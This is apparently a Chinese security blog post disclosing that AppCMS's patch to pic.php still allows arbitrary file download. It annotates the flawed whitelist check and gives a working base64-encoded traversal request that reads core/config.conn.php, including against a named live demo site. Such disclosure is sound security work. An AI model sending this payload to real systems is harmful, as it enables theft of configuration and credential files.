- A+
所属分类:Seay信息安全博客
显示不全请点击全屏阅读
虽然 appcms 对之前的第一次任意文件下载 进行了修补,但是修补方式不当,导致仍然能够任意文件下载(官方演示站再次验证)
经补丁后的文件pic.php如下(注释为本人做的说明)
<?php if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) { $img_url = base64_decode($_GET['url']); $_GET['url']=strtolower($img_url); //解码后相当于没有编码 $_GET['type']=strtolower($_GET['type']); $arr_a=array('jpg','jpeg','png','gif'); //扩展名白名单 $down=0; //down=1时标记审计策略通过 foreach($arr_a as $b){ //循环审计 if(strstr($_GET['url'],$b)){ //如果url里包含白名单jpg字符串即为审核通过,问题就出在这里,url里只要出现jpg就可以,那么xxx/xxx.jpg是合法的,但是呢,假定xxxjpg/../xxx.php会通过判定! $down=1; } } if($_GET['type']=='php') $down=0; //完全没有用处,不是根据type判定的 if($down==1){ $shffix = trim($_GET['type']); //下面没有任何限制了,直接文件读取了 header("Content-Type: image/{$shffix}"); readfile($img_url); }else{ die('image type forbidden'); } } else { die('image not find!'); } ?>
结合以上分析,构造一下即可任意文件下载
/pic.php?url=MWpwZy8uLi9jb3JlL2NvbmZpZy5jb25uLnBocA==&type=jpg
注:示例的base64为: 1jpg/../core/config.conn.php
证明:
1.先证明官方演示站点已经打过补丁,即不存在之前的老漏洞
2.证明本次漏洞的存在
http://www.kele8.cn/pic.php?url=MWpwZy8uLi9jb3JlL2NvbmZpZy5jb25uLnBocA==&type=jpg
作者:lxj616
Tags:
如果您喜欢我的博客,欢迎点击图片定订阅到邮箱 也可以点击链接【订阅到鲜果】
如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡